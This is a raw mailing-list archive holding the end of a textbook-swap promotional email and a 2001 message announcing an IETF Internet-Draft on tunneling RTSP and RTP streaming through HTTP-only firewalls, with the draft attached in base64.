QXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWYiPjxmb250IGNvbG9yPSIjNjY2
NjAwIj48Zm9udCBzaXplPSsxPkJ1eQ0KdXNlZCB0ZXh0IGJvb2tzIGZyb20g
b3RoZXIgc3R1ZGVudHM8L2ZvbnQ+PC9mb250PjwvZm9udD4NCjxwPjwhLS0g
U2Vjb25kIFByb21vdGlvbiBEZXNjcmlwdGlvbiAtLT48Zm9udCBmYWNlPSJW
ZXJkYW5hLEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmIj48Zm9udCBzaXpl
PS0xPjxmb250IGNvbG9yPSIjMDAwMDAwIj5XaHkNCnBheSAkNTAuMDAgb3Ig
bW9yZSBmb3IgYSB1c2VkIGJvb2s/IFNpbXBseSBicm93c2UgdW5pdmVyc2l0
eWJvb2tzd2FwLmNvbQ0KZm9yIHRoZSB0ZXh0IGJvb2tzIHRoYXQgeW91IG5l
ZWQgYW5kIG5lZ290aWF0ZSBhIGZhaXIgcHJpY2UuPC9mb250Pjxmb250IGNv
bG9yPSIjMDAzMzY2Ij4mbmJzcDs8L2ZvbnQ+PC9mb250PjwvZm9udD48IS0t
IFNlY29uZCBQcm9tb3Rpb24gTGluayAgLS0+DQo8cD48Zm9udCBmYWNlPSJW
ZXJkYW5hLEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmIj48Zm9udCBjb2xv
cj0iIzAwMzM2NiI+PGZvbnQgc2l6ZT0tMT48YSBocmVmPSJodHRwOi8vY2Nw
cm9kLnJvdmluZy5jb20vcm92aW5nL3NhL3QuanNwP2lkPXZ6eXNjcjc3LmN1
Z3Jocjc3JnA9aHR0cCUzQSUyRiUyRnd3dy51bml2ZXJzaXR5Ym9va3N3YXAu
Y29tIj51bml2ZXJzaXR5Ym9va3N3YXAuY29tPC9hPjwvZm9udD48L2ZvbnQ+
PC9mb250PjwvdGQ+DQoNCjx0ZCBWQUxJR049Q0VOVEVSPjwhLS0gU2Vjb25k
IFByb21vdGlvbiBJbWFnZSAtLT48YSBocmVmPSJodHRwOi8vY2Nwcm9kLnJv
dmluZy5jb20vcm92aW5nL3NhL3QuanNwP2lkPXZ6eXNjcjc3LmN1Z3Jocjc3
JnA9aHR0cCUzQSUyRiUyRnd3dy51bml2ZXJzaXR5Ym9va3N3YXAuY29tIj48
aW1nIFNSQz0iaHR0cDovL3d3dy5tYWNoaW5lcy5jb20vd2RkL3Vicy9ib29r
cy1lbWFpbC5qcGciIEhTUEFDRT00IEJPUkRFUj0wID48L2E+PC90ZD4NCjwv
dHI+DQo8L3RhYmxlPg0KPCEtLSBFbmQgU2Vjb25kIFByb21vdGlvbiBUYWJs
ZSAtLT4NCjxociBzaXplPSIyIiBjb2xvcj0iIzAwMzM2NiI+PCEtLSBDbG9z
aW5nIFBhcmFncmFwaCAgLS0+DQo8YnI+PGZvbnQgZmFjZT0iVmVyZGFuYSxB
cmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZiI+PGZvbnQgY29sb3I9IiMwMDAw
MDAiPjxmb250IHNpemU9LTE+QXMNCmEgZm9ybWVyIGNvbGxlZ2Ugc3R1ZGVu
dCBJIGdvdCBjaGVhdGVkIG91dCBvZiBodW5kcmVkcyBpZiBub3QgdGhvdXNh
bmRzDQpvZiBkb2xsYXJzIGJ5IGJ1eWluZyBhbmQgc2VsbGluZyBteSBib29r
cyBhdCB0aGUgbG9jYWwgVW5pdmVyc2l0eSBib29rDQpzdG9yZS4gRmlnaHQg
YmFjayBub3chJm5ic3A7PC9mb250PjwvZm9udD48L2ZvbnQ+PCEtLSBFbmQg
b2YgY2xvc2luZyBwYXJhZ3JhcGggIC0tPjwhLS0gQmVnaW4gU2lnbmF0dXJl
ICAtLT48Zm9udCBjb2xvcj0iIzAwMDAwMCI+PC9mb250Pg0KPHA+PGZvbnQg
ZmFjZT0iVmVyZGFuYSxBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZiI+PGZv
bnQgc2l6ZT0tMT48Zm9udCBjb2xvcj0iIzAwMDAwMCI+U2luY2VyZWx5LDwv
Zm9udD48Zm9udCBjb2xvcj0iIzAwMzM2NiI+Jm5ic3A7PC9mb250PjwvZm9u
dD48L2ZvbnQ+DQo8cD48Zm9udCBmYWNlPSJWZXJkYW5hLEFyaWFsLEhlbHZl
dGljYSxzYW5zLXNlcmlmIj48Zm9udCBjb2xvcj0iIzAwMDAwMCI+PGZvbnQg
c2l6ZT0tMT5Tci4NCk1hbmFnZW1lbnQ8L2ZvbnQ+PC9mb250PjwvZm9udD4N
Cjxicj48Zm9udCBmYWNlPSJWZXJkYW5hLEFyaWFsLEhlbHZldGljYSxzYW5z
LXNlcmlmIj48Zm9udCBjb2xvcj0iIzAwMDAwMCI+PGZvbnQgc2l6ZT0tMT5V
bml2ZXJzaXR5Ym9va3N3YXAuY29tJm5ic3A7PC9mb250PjwvZm9udD48L2Zv
bnQ+DQo8YnI+DQo8aHIgc2l6ZT0iMSIgY29sb3I9IiMwMDMzNjYiIHdpZHRo
PSI1MCUiIGFsaWduPSJsZWZ0Ij48Zm9udCBmYWNlPSJWZXJkYW5hLEFyaWFs
LEhlbHZldGljYSxzYW5zLXNlcmlmIj48Zm9udCBjb2xvcj0iIzAwMDAwMCI+
PGZvbnQgc2l6ZT0tMT5lbWFpbDoNCjxhIGhyZWY9Im1haWx0bzppbmZvQHVu
aXZlcnNpdHlib29rc3dhcC5jb20iPmluZm9AdW5pdmVyc2l0eWJvb2tzd2Fw
Lm5ldDwvYT48L2ZvbnQ+PC9mb250PjwvZm9udD4NCjxicj48Zm9udCBmYWNl
PSJWZXJkYW5hLEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmIj48Zm9udCBj
b2xvcj0iIzAwMDAwMCI+PGZvbnQgc2l6ZT0tMT53ZWI6DQo8YSBocmVmPSJo
dHRwOi8vY2Nwcm9kLnJvdmluZy5jb20vcm92aW5nL3NhL3QuanNwP2lkPXZ6
eXNjcjc3LmN1Z3Jocjc3JnA9aHR0cCUzQSUyRiUyRnd3dy51bml2ZXJzaXR5
Ym9va3N3YXAuY29tIj5odHRwOi8vd3d3LnVuaXZlcnNpdHlib29rc3dhcC5j
b208L2E+PC9mb250PjwvZm9udD48L2ZvbnQ+DQo8YnI+PCEtLSAgRW5kIFNp
Z25hdHVyZSAgLS0+DQo8aHIgc2l6ZT0iMSIgY29sb3I9IiMwMDMzNjYiIHdp
ZHRoPSI1MCUiIGFsaWduPSJsZWZ0Ij48IS0tICBZb3UgYXJlIHJlcXVpcmVk
IGJ5IHlvdXIgQ29uc3RhbnQgQ29udGFjdCB1c2VyIGFncmVlbWVudCB0bw0K
ICAgICAgcHJvdmlkZSB0aGUgb3B0LW91dCBsaW5rIHNob3duIGJlbG93IGFz
IGJ5IHRoZSBwcm9wZXJ0eSAnT3B0T3V0Jy4gLS0+PGZvbnQgZmFjZT0iVmVy
ZGFuYSxBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZiI+PGZvbnQgY29sb3I9
IiMwMDAwMDAiPjxmb250IHNpemU9LTI+VGhpcw0KZW1haWwgd2FzIHNlbnQg
dG8geW91LCBieSA8YSBocmVmPSJodHRwOi8vY2Nwcm9kLnJvdmluZy5jb20v
cm92aW5nL3NhL3MuanNwP2lkPXZ6eXNjcjc3LmN1Z3Jocjc3Ij51bml2ZXJz
aXR5Ym9va3N3YXAuY29tPC9hPi4mbmJzcDs8L2ZvbnQ+PC9mb250PjwvZm9u
dD48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8L3RkPg0KPC90cj4NCjwvdGFi
bGU+PC9jZW50ZXI+DQoNCjwvYm9keT4NCjwvaHRtbD4NCg==
--====================5453503:40====--

From confctrl-owner  Tue Jul 24 01:44:13 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA04576
	for confctrl-outgoing; Tue, 24 Jul 2001 01:44:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA04571
	for <confctrl@zephyr.isi.edu>; Tue, 24 Jul 2001 01:44:12 -0700 (PDT)
Received: from gw-nl4.philips.com (gw-nl4.philips.com [212.153.190.6])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6O8iQL23001
	for <confctrl@isi.edu>; Tue, 24 Jul 2001 01:44:26 -0700 (PDT)
Received: from smtpscan-nl3.philips.com (localhost.philips.com [127.0.0.1])
          by gw-nl4.philips.com with ESMTP id KAA02852
          for <confctrl@isi.edu>; Tue, 24 Jul 2001 10:44:21 +0200 (MEST)
          (envelope-from philippe.gentric@philips.com)
From: philippe.gentric@philips.com
Received: from smtpscan-nl3.philips.com(130.139.36.23) by gw-nl4.philips.com via mwrap (4.0a)
	id xma002850; Tue, 24 Jul 01 10:44:21 +0200
Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl3.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id KAA18223
	for <confctrl@isi.edu>; Tue, 24 Jul 2001 10:44:17 +0200 (MET DST)
Received: from notessmtp-nl1.philips.com (notessmtp-nl1.philips.com [130.139.36.10]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id KAA08483
	for <confctrl@isi.edu>; Tue, 24 Jul 2001 10:44:17 +0200 (MET DST)
Received: from EMAUO01.diamond.philips.com (emauo01sv1.diamond.philips.com [130.143.165.215]) 
	by notessmtp-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id KAA11872
	for <confctrl@isi.edu>; Tue, 24 Jul 2001 10:43:56 +0200 (MET DST)
Subject: RTP in HTTP
To: confctrl@ISI.EDU
X-Mailer: Lotus Notes Release 5.0.6a  January 17, 2001
Message-ID: <OFAD0D2D4E.B7A701CA-ONC1256A93.002F1AB4@diamond.philips.com>
Date: Tue, 24 Jul 2001 10:42:50 +0200
X-MIMETrack: Serialize by Router on EMAUO01/H/SERVER/PHILIPS(Release 5.0.5 |September 22, 2000) at
 24/07/2001 10:58:24
MIME-Version: 1.0
Content-type: multipart/mixed; 
	Boundary="0__=C1256A93002F1AB48f9e8a93df938690918cC1256A93002F1AB4"
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--0__=C1256A93002F1AB48f9e8a93df938690918cC1256A93002F1AB4
Content-type: text/plain; charset=us-ascii



A week ago I submitted a draft for discussion in London
about tunneling RTP in HTTP (since it is small I also attach it here).


I though that this would be discussed in AVT but was told that
the subject would better be discussed in MMUSIC, hence the announcement here...


(See attached file: draft-gentric-avt-RTP-HTTP-00.txt)



Regards,



Philippe Gentric
Software architect
Philips Digital Networks - MP4Net
51 rue Carnot B.P. 301
92156 Suresnes FRANCE
tel: +33(0)147283740
fax: +33(0)147283725
philippe.gentric@philips.com
http://www.mpeg-4player.com

--0__=C1256A93002F1AB48f9e8a93df938690918cC1256A93002F1AB4
Content-type: text/plain; 
	name="draft-gentric-avt-RTP-HTTP-00.txt"
Content-transfer-encoding: base64

DQoNCkludGVybmV0IEVuZ2luZWVyaW5nIFRhc2sgRm9yY2UgICAgICAgICAgICAgICAgICAgICAg
ICAgR2VudHJpYy1QaGlsaXBzIA0KSW50ZXJuZXQgRHJhZnQgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgSm9uZXMtQXBwbGUgDQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEp1bHkgMjAwMSANCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEV4cGly
ZXMgSmFuLiAyMDAyIA0KRG9jdW1lbnQ6IGRyYWZ0LWdlbnRyaWMtYXZ0LVJUU1AtSFRUUC0wMC50
eHQgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogDQogDQogICAgICAgICAgICAgICAgICAg
ICAgICAgVHVubmVsaW5nIFJUU1AgaW4gSFRUUCANCiANCiAgICANClN0YXR1cyBvZiB0aGlzIE1l
bW8gDQogICAgDQogICBUaGlzIGRvY3VtZW50IGlzIGFuIEludGVybmV0LURyYWZ0IGFuZCBpcyBp
biBmdWxsIGNvbmZvcm1hbmNlIHdpdGggDQogICBhbGwgcHJvdmlzaW9ucyBvZiBTZWN0aW9uIDEw
IG9mIFJGQzIwMjYuIA0KICAgIA0KICAgSW50ZXJuZXQtRHJhZnRzIGFyZSB3b3JraW5nIGRvY3Vt
ZW50cyBvZiB0aGUgSW50ZXJuZXQgRW5naW5lZXJpbmcgDQogICBUYXNrIEZvcmNlIChJRVRGKSwg
aXRzIGFyZWFzLCBhbmQgaXRzIHdvcmtpbmcgZ3JvdXBzLiBOb3RlIHRoYXQgDQogICBvdGhlciBn
cm91cHMgbWF5IGFsc28gZGlzdHJpYnV0ZSB3b3JraW5nIGRvY3VtZW50cyBhcyBJbnRlcm5ldC0N
CiAgIERyYWZ0cy4gSW50ZXJuZXQtRHJhZnRzIGFyZSBkcmFmdCBkb2N1bWVudHMgdmFsaWQgZm9y
IGEgbWF4aW11bSBvZiANCiAgIHNpeCBtb250aHMgYW5kIG1heSBiZSB1cGRhdGVkLCByZXBsYWNl
ZCwgb3Igb2Jzb2xldGVkIGJ5IG90aGVyIA0KICAgZG9jdW1lbnRzIGF0IGFueSB0aW1lLiBJdCBp
cyBpbmFwcHJvcHJpYXRlIHRvIHVzZSBJbnRlcm5ldC0gRHJhZnRzIA0KICAgYXMgcmVmZXJlbmNl
IG1hdGVyaWFsIG9yIHRvIGNpdGUgdGhlbSBvdGhlciB0aGFuIGFzICJ3b3JrIGluIA0KICAgcHJv
Z3Jlc3MuIiANCiAgICANCiAgIFRoZSBsaXN0IG9mIGN1cnJlbnQgSW50ZXJuZXQtRHJhZnRzIGNh
biBiZSBhY2Nlc3NlZCBhdCANCiAgIGh0dHA6Ly93d3cuaWV0Zi5vcmcvaWV0Zi8xaWQtYWJzdHJh
Y3RzLnR4dCANCiAgIFRoZSBsaXN0IG9mIEludGVybmV0LURyYWZ0IFNoYWRvdyBEaXJlY3Rvcmll
cyBjYW4gYmUgYWNjZXNzZWQgYXQgDQogICBodHRwOi8vd3d3LmlldGYub3JnL3NoYWRvdy5odG1s
LiANCiAgICANCkFic3RyYWN0IA0KICAgIA0KICAgVGhpcyBkb2N1bWVudCBkaXNjdXNzZXMgdHVu
bmVsaW5nIFJUU1AgaW4gSFRUUCBhbmQgbW9yZSBzcGVjaWZpY2FsbHkgDQogICBSVFNQIHdpdGgg
aW50ZXJsZWF2ZWQgUlRQIGRhdGEuIA0KICAgIA0KICAxLiBJbnRyb2R1Y3Rpb24gDQogICAgDQog
ICBUaGVyZSBpcyBhIG5lZWQgZm9yIHR1bm5lbGluZyBSVFAgc3RyZWFtcyBpbnNpZGUgUlRTUCBp
biBIVFRQIA0KICAgYmVjYXVzZSBpbiBzb21lIGNhc2VzIHVzZXJzIGFyZSBsb2NhdGVkIGJlaGlu
ZCBhIGZpcmV3YWxsIHRoYXQgaXMgDQogICBjb25maWd1cmVkIHRvIG9ubHkgbGV0IEhUVFAgdGhy
b3VnaC4gDQogICAgDQogICBBZnRlciBkaXNjdXNzaW5nIHRoZSBjb250ZXh0IG9mIHRoZSBwcm9i
bGVtIHdlIHdpbGwgZ2l2ZSB0aGUgDQogICByZXF1aXJlbWVudHMgZm9yIGEgc29sdXRpb24gYW5k
IG91dGxpbmUgd2hhdCBhIHNvbHV0aW9uIGNvdWxkIGJlLiANCiAgICANCiAgMi4gTW90aXZhdGlv
biANCiAgICANCiAgIFJUU1AgWzEsIDEwLjEyXSBjbGVhcmx5IGRlZmluZXMgaG93IFJUUCBzdHJl
YW0gZGF0YSBjYW4gYmUgZW1iZWRkZWQgDQogICB3aXRoIFJUU1AgbWV0aG9kcy4gSXQgYWxzbyBy
ZWNvbW1lbmRzIHRoYXQgUlRTUCBzaG91bGQgYmUgDQogICB0cmFuc3BvcnRlZCB1c2luZyBUQ1Au
IA0KICAgIA0KICAgTm90ZSB0aGF0IHR1bm5lbGluZyBSVFNQIChvbmx5KSBpbiBIVFRQIHdvdWxk
IG5vdCBiZSB1c2VmdWwgc2luY2UgDQogICB0aGUgUlRQIGRhdGEgdHJhbnNwb3J0ZWQgdXNpbmcg
VURQIHdvdWxkIGJlIGJsb2NrZWQuIA0KICAgIA0KDQoNCiAgDQpHZW50cmljLCBKb25lcyAgICAg
ICAgICAgRXhwaXJlcyBKYW51YXJ5IDIwMDIgICAgICAgICAgICAgICAgICAgICAgICAxIAoMDQog
ICAgICAgICAgICAgICAgICAgICAgICBUdW5uZWxpbmcgUlRTUCBpbiBIVFRQICAgICAgICAgICAg
ICAgSnVseSAyMDAxIA0KIA0KIA0KICAgV2l0aCB0aGlzIFRDUCBiYXNlZCB0cmFuc3BvcnQgb2Yg
UlRQLWluc2lkZS1SVFNQLCBmaXJld2FsbHMgDQogICBjb25maWd1cmVkIHRvIGV4Y2x1ZGUgVURQ
IHRyYWZmaWMgY2FuIGJlIHRyYXZlcnNlZCwgd2hpY2ggaXMgYWxyZWFkeSANCiAgIHZlcnkgdXNl
ZnVsLiANCiAgICANCiAgIEhvd2V2ZXIgZm9yIG1hbnkgZW5kIHVzZXJzIHRoZSBzaXR1YXRpb24g
aXMgZXZlbiB3b3JzZTsgaW5kZWVkIHNvbWUgDQogICBJU1BzIGFuZCBtYW55IGNvcnBvcmF0ZSBJ
bnRlcm5ldCBhY2Nlc3MgYXJlIHByb3RlY3RlZCBieSBzdHJpY3QgDQogICBmaXJld2FsbHMuIFR5
cGljYWxseSB0aGVzZSBmaXJld2FsbHMgYXJlIGNvbmZpZ3VyZWQgdG8gZXhjbHVkZSBhbGwgDQog
ICB0cmFmZmljIGV4Y2VwdCBIVFRQLiBUaHVzIHRoZXJlIGlzIG5lZWQgdG8gdHJhbnNwb3J0IG1l
ZGlhIHRocm91Z2ggDQogICBIVFRQLiANCiAgICANCiAgIEFsdGhvdWdoIGl0IGlzIHJlY29nbml6
ZWQgdGhhdCBkb2luZyBzbyBpcyBub3Qgb3B0aW1hbCAoc2VlIFsxXSBhbmQgDQogICBbMl0gZm9y
IGEgZGlzY3Vzc2lvbiBvbiB3aHkgUlRQL1VEUCBpcyBhIGJldHRlciBpZGVhKSBpdCBzaG91bGQg
YmUgDQogICBvYnZpb3VzIHRoYXQgdGhlIGNvcmUgcmVhc29uIHdoeSB0dW5uZWxpbmcgc3RyZWFt
aW5nIGluIEhUVFAgaW4gbm90IA0KICAgYSBnb29kIGlkZWEgaXMgZHVlIHRvIHRoZSB1c2Ugb2Yg
VENQIGZvciB0cmFuc3BvcnQsIHdoaWNoIGlzIG5vdCBhbiANCiAgIGlzc3VlIHdlIG5lZWQgdG8g
ZGlzY3VzcyBoZXJlIHNpbmNlIHRyYW5zcG9ydGluZyBSVFAgaW5zaWRlIFJUU1Agb24gDQogICBU
Q1AgKGFzIGRlc2NyaWJlZCBpbiBbMV0pIHN1ZmZlcnMgZnJvbSB0aGUgc2FtZSBwcm9ibGVtLiAg
DQogICAgDQogICBJbiBmYWN0IHRoZSBuZWVkIGZvciBzdWNoIGEgc29sdXRpb24gaXMgc28gc3Ry
b25nIHRoYXQgbW9zdCBtZWRpYSANCiAgIHN0cmVhbWluZyBwcm9kdWN0cyBpbXBsZW1lbnQgKHBz
ZXVkbykgc3RyZWFtaW5nIHRocm91Z2ggSFRUUCBpbiBvbmUgDQogICB3YXkgb3IgYW5vdGhlci4g
DQogICAgDQogICBJdCBpcyBhbHNvIG9idmlvdXMgdGhhdCBhbHRob3VnaCBpbiBtYW55IGNhc2Vz
IHRoZSByZWFzb24gd2h5IGEgDQogICBjb3Jwb3JhdGUgb3IgSVNQIGZpcmV3YWxsIGlzIGNvbmZp
Z3VyZWQgZm9yIEhUVFAgb25seSBpcyBwdXJlIA0KICAgcGFyYW5vaWEsIHRoZXJlIGFyZSBjYXNl
cyB3aGVuIHN1cHByZXNzaW5nIG1lZGlhIHN0cmVhbWluZyBpcyBhIA0KICAgZ2VudWluZSBjb25j
ZXJuIGZvciBhbiBJVCBhZG1pbmlzdHJhdG9yLiBJbiB0aGlzIGxhc3QgY2FzZSBwcm92aWRpbmcg
DQogICBhIHN0YW5kYXJkIHRlY2hub2xvZ3kgdGhhdCBtYWtlcyBpdCBwb3NzaWJsZSB0byBmaWx0
ZXIgUlRTUCBpbiBIVFRQIA0KICAgd291bGQgYmUgYSB2ZXJ5IGdvb2QgaWRlYS4gDQogICAgDQog
ICBJdCBpcyBob3dldmVyIG9mIGZ1bmRhbWVudGFsIGltcG9ydGFuY2UgdG8gc3RyZXNzIHRoYXQg
b25lIG9mIHRoZSANCiAgIGNvbnRleHRzIHdoZXJlIHN1Y2ggdHVubmVsaW5nIGlzIG5lZWRlZCBp
cyBpbiBlbnZpcm9ubWVudHMgd2hlcmUgSVQgDQogICBtYW5hZ2VtZW50IGlzIG5vdCBsZWFkaW5n
IGVkZ2UuIEluZGVlZCBwYXJhbm9pYSB2ZXJ5IG9mdGVuIGdvZXMgDQogICB0b2dldGhlciB3aXRo
IGlnbm9yYW5jZSBhbmQvb3IgbGFjayBvZiBjYXBhYmlsaXR5IHRvIHRydXN0ZnVsbHkgDQogICBj
b21tdW5pY2F0ZSBiZXR3ZWVuIGRlY2lzaW9uIG1ha2VycyBhbmQga25vd2xlZGdlYWJsZSB0ZWNo
bmljYWwgDQogICBwZW9wbGUuIEluIHN1Y2ggZW52aXJvbm1lbnRzIGZpcmV3YWxscyBhcmUgc2V0
IGZvciBtYXhpbXVtIHNlY3VyaXR5IA0KICAgaS5lLiBIVFRQLW9ubHkgYW5kIHNvbHV0aW9ucyB0
aGF0IGFyZSBrbm93biB0byB3b3JrIHdpbGwgYmUga2VwdCBhcyANCiAgIGxvbmcgYXMgcG9zc2li
bGUuIFRoZXJlZm9yZSB0aGUgc29sdXRpb24gd2Ugc2VlayBNVVNUIHdvcmsgd2l0aCBhbGwgDQog
ICBkZXBsb3llZCBmaXJld2FsbHMgb3RoZXJ3aXNlIGl0IHdpbGwgYmUgYSB2ZXJ5IGxpdHRsZSB2
YWx1ZSBzaW5jZSB3ZSANCiAgIGNhbm5vdCBleHBlY3QgdGhpcyBrZXkgdGFyZ2V0IHBvcHVsYXRp
b24gdG8gdXBncmFkZSB0aGVpciBmaXJld2FsbHMgDQogICBpZiB0aGlzIGlzIHdoYXQgaXMgcmVx
dWlyZWQgdG8gZW5hYmxlIFJUU1AgdHVubmVsaW5nIGluIEhUVFAuIA0KICAgIA0KICAgT24gdGhl
IG90aGVyIGhhbmQgdGhlIHNpdHVhdGlvbiBpcyB2ZXJ5IGRpZmZlcmVudCBmb3IgbW9yZSBmb3J3
YXJkLQ0KICAgbG9va2luZyBvcmdhbml6YXRpb25zLiBXZSBoYXZlIHR3byBjYXNlcyB0aGVuLiBJ
biBwbGFjZXMgd2hlcmUgSVQgDQogICBhZG1pbmlzdHJhdG9ycyBvcGVuZWQgdGhlIHJlcXVpcmVk
IFVEUCBwb3J0cyBpbiB0aGVpciBmaXJld2FsbHMgc28gDQogICBhcyB0byBlbmFibGUgc3RyZWFt
aW5nLCBuZXcgc29sdXRpb25zIGkuZS4gdXBncmFkaW5nIHRoZSBmaXJld2FsbC0gDQogICB3aWxs
IGJlIGVhc2lseSBhZG9wdGVkLiBUaGVyZSBhcmUgYWxzbyBwbGFjZXMgd2hlcmUgSVQgYWRtaW5p
c3RyYXRvciANCiAgIGRpZCBub3Qgb3BlbiBVRFAgcG9ydHMgZm9yIHN0cmVhbWluZyB1cG9uIGV4
cGxpY2l0IGluc3RydWN0aW9ucyBmcm9tIA0KICAgdGhlaXIgbWFuYWdlbWVudCB0byBzdG9wIG1l
ZGlhIHN0cmVhbWluZy4gSW4gc3VjaCBwbGFjZXMgc3VyZWx5IHRoZSANCiAgIGVtZXJnZW5jZSBv
ZiBhIHN0YW5kYXJkIHRlY2hub2xvZ3kgZW5hYmxpbmcgdG8gZGVwbG95IGZpcmV3YWxscyB0aGF0
IA0KICAgY2FuIGFsc28gYmxvY2sgdHVubmVsaW5nIG9mIG1lZGlhIGluIEhUVFAgd2lsbCBiZSB3
ZWxsIHJlY2VpdmVkLiANCiAgIFRoZXJlZm9yZSB0aGUgc29sdXRpb24gd2Ugc2VlayBzaG91bGQg
YWxzbyBwcm92aWRlIHRoZSBhYmlsaXR5IHRvIA0KICAgY29uZmlndXJlIGZpbHRlcmluZyBtZWNo
YW5pc21zIHNvIGFzIHRvIGdpdmUgZnVsbCBjb250cm9sIG9uIHdoYXQgDQogICBjYW4gYW5kIHdo
YXQgY2Fubm90IHRyYXZlcnNlIHRoZSBmaXJld2FsbC4gDQogICAgDQogIA0KR2VudHJpYywgSm9u
ZXMgICAgICAgICAgIEV4cGlyZXMgSmFudWFyeSAyMDAyICAgICAgICAgICAgICAgICAgICAgICAg
MiAKDA0KICAgICAgICAgICAgICAgICAgICAgICAgVHVubmVsaW5nIFJUU1AgaW4gSFRUUCAgICAg
ICAgICAgICAgIEp1bHkgMjAwMSANCiANCiANCiAgMy4gUmVxdWlyZW1lbnRzIA0KICAgIA0KICAg
VGhlIHJlcXVpcmVtZW50cyBmb3IgdHVubmVsaW5nIFJUU1AgaW4gSFRUUCBhcmUgdGhlcmVmb3Jl
IHRoZSANCiAgIGZvbGxvd2luZzogDQogICBSZXF1aXJlbWVudCAxOiB0byB0cmF2ZXJzZSBleGlz
dGluZyAoZGVwbG95ZWQpIEhUVFAtb25seSBmaXJld2FsbHMgDQogICBSZXF1aXJlbWVudCAyOiB0
byBhbGxvdyB0aGUgZGV2ZWxvcG1lbnQgb2YgbmV3IEhUVFAtbGV2ZWwgZmlyZXdhbGxzIA0KICAg
d2hlcmUgUlRTUCB0dW5uZWxpbmcgY2FuIGJlIGRldGVjdGVkIGFuZCBldmVudHVhbGx5IGZpbHRl
cmVkLiANCiAgICANCiAgICANCiAgNC4gU29sdXRpb25zIA0KICAgIA0KICAgT25lIHNvbHV0aW9u
IGlzIGRlc2NyaWJlZCBpbiBbM10uIFdlIHdpbGwgbm90IGRpc2N1c3MgdGhpcyBzb2x1dGlvbiAN
CiAgIGluIGZ1bGwgZGV0YWlsIGJ1dCBpbnN0ZWFkIHdlIHdpbGwgZm9jdXMgb24gd2hhdCBzZWVt
cyB0byBiZSB0aGUgDQogICBtb3N0IGNvbnRyb3ZlcnNpYWwgaXNzdWUuIA0KICAgIA0KICA1LiBE
aXNjdXNzaW9uIA0KICAgIA0KICAgQXMgZGVzY3JpYmVkIGluIFszXSB0aGVyZSBpcyBhIG5lZWQg
dG8gcHJldmVudCBkZXBsb3llZCBIVFRQIHByb3h5IA0KICAgYWdlbnRzIGZyb20gdHJ5aW5nIHRv
IHBhcnNlIHRoZSBSVFNQIHN5bnRheCB0aGF0IGxpZXMgYWZ0ZXIgdGhlIEhUVFAgDQogICBoZWFk
ZXIuIEluZGVlZCBIVFRQLWxldmVsIGZpcmV3YWxscyBhcmUgdGhlcmUgdG8gZG8gZXhhY3RseSB0
aGF0OiANCiAgIGNoZWNrIHRoYXQgVENQIGNvbm5lY3Rpb25zIGNhcnJ5IEhUVFAgZGF0YSBhbmQg
bm90aGluZyBlbHNlLiANCiAgIFVuZm9ydHVuYXRlbHkgaXQgc2VlbXMgdGhhdCBzb21lIGRlcGxv
eWVkIGltcGxlbWVudGF0aW9ucyB3aWxsIHRyeSANCiAgIHRvIGNoZWNrIHRoZSBjb3JyZWN0bmVz
cyBvZiB0aGUgSFRUUCBzeW50YXggYW5kIGluIGRvaW5nIHNvIHN0dW1ibGUgDQogICB1cG9uIHRo
ZSBSVFNQIHN5bnRheCwgY2F1c2luZyB0aGUgc2VydmljZSB0byBiZSBkZW5pZWQuIFRoZSBzb2x1
dGlvbiANCiAgIHByb3Bvc2VkIGluIFszXSBpcyB0aGVyZWZvcmUgdG8gaGlkZSBSVFNQIHN5bnRh
eCBieSB0cmFucy1jb2RpbmcgaXQgDQogICBpbiBiYXNlNjQuIA0KICAgIA0KICAgT25lIG9idmlv
dXMgcHJvYmxlbSB3aXRoIHRoaXMgc29sdXRpb24gaXMgdGhhdCBpdCBtYXkgYmUgc2VlbiBhcyAN
CiAgIHNvbWUga2luZCBvZiBhIGNoZWF0LiBXZSBwcmV0ZW5kIGFzIGRpc2N1c3NlZCBpbiBzZWN0
aW9uIDIgdGhhdCB0aGlzIA0KICAgaXMgbm90IGEgdHJ1ZSBjb25jZXJuLiBBY3R1YWxseSwgYXMg
bWVudGlvbmVkIGFib3ZlLCB0dW5uZWxpbmcgDQogICBzdHJlYW1pbmcgbWVkaWEgaW4gSFRUUCBp
cyBhbHJlYWR5IHBlcmZvcm1lZCBvbiB2ZXJ5IGxhcmdlIHNjYWxlcyBieSANCiAgIGEgbnVtYmVy
IG9mIHByb3ByaWV0YXJ5IHNvbHV0aW9ucyBhbmQgZmlyZXdhbGwgYWRtaW5pc3RyYXRvcnMgYXJl
IA0KICAgYWN0dWFsbHkgbGFja2luZyBzdGFuZGFyZC1iYXNlZCBzb2x1dGlvbnMgdG8gcmVjb3Zl
ciBjb250cm9sIHVwb24gDQogICBzdWNoIGJhbmR3aWR0aC1pbnRlbnNpdmUgdHJhZmZpYy4gDQog
ICAgDQogICBPbiB0aGUgb3RoZXIgaGFuZCwgaWYgYSBzb2x1dGlvbiBzdWNoIGFzIHRoZSBvbmUg
ZGVzY3JpYmVkIGluIFszXSANCiAgIHdhcyB0byBiZWNvbWUgYW4gSUVURiBzdGFuZGFyZCwgcHJv
